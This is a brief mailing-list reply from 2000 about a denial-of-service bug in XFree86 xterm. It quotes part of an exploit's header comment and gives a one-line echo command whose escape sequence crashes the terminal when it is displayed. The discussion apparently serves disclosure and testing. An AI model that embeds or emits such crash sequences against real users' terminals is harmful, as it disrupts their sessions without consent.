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Re: [rootshell.com] Xterm DoS Attack

From: gone () GRAFFITI NET (Hans, Sebastian)
Date: Sun, 4 Jun 2000 18:35:27 +0200

/*
 *
 * xterm Denial of Service Attack
 * (C) 2000 Kit Knox <kit () rootshell com> - 5/31/2000
 *
 * Tested against: xterm (XFree86 3.3.3.1b(88b)  -- crashes


snip

 * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
 * inside files, directories, etc will have the same effect as this code.
 *
 */


I tried this with my xterm (XFree86 3.3.3.1b(88b)) - it didn't work.
Substituting 65536 for 65535 did the job:
echo -e "\033[4;65536;65536t"

Sebastian Hans
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